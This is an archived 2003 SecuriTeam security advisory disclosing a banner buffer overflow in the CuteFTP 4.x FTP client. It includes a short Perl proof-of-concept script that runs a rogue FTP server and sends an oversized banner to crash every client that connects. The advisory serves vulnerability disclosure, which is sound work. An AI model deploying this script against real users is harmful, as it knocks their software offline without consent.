

[NT] CuteFTP Banner Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0007.html>

From: support@securiteam.com

Date: 01/05/03

From: support@securiteam.com

To: list@securiteam.com

Date: 5 Jan 2003 12:19:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

CuteFTP Banner Buffer Overflow

SUMMARY

<<http://www.CuteFTP.com>> CuteFTP is a Windows based File Transfer Protocol (FTP) client that allows users to utilize the capabilities of FTP without having to know all the details of the protocol itself. CuteFTP simplifies FTP by offering a user-friendly Windows interface instead of a cumbersome command line utility. CuteFTP gives novice PC users the ability to upload, download and edit files on remote FTP servers around the world. A client side vulnerability in the product allows remote servers to cause the client to crash by sending it a large banner.

DETAILS

Vulnerable systems:

- * CuteFTP version 4.x

It's possible to crash CuteFTP by sending long (more than 2048 bytes) FTP banner to it.

Exploit:

```
#!/usr/bin/perl
```

```
#####
```

```
#Here is an example of ftp-server. It will freeze each
```

Securiteam: [NT] CuteFTP Banner Buffer Overflow

```
#CuteFTP-user, that try to connect to it.
#####
use IO::Socket;
$port = "21";
$data = "a";
$num = "2049";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM,
Reuse => 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
    print "Client connected.\n";
    print "Attacking...";
    print $client "$buf";
    print "OK\n";
    close($client);
}
#EOF
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:grey_1999@mail.ru> D4rkGr3y.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.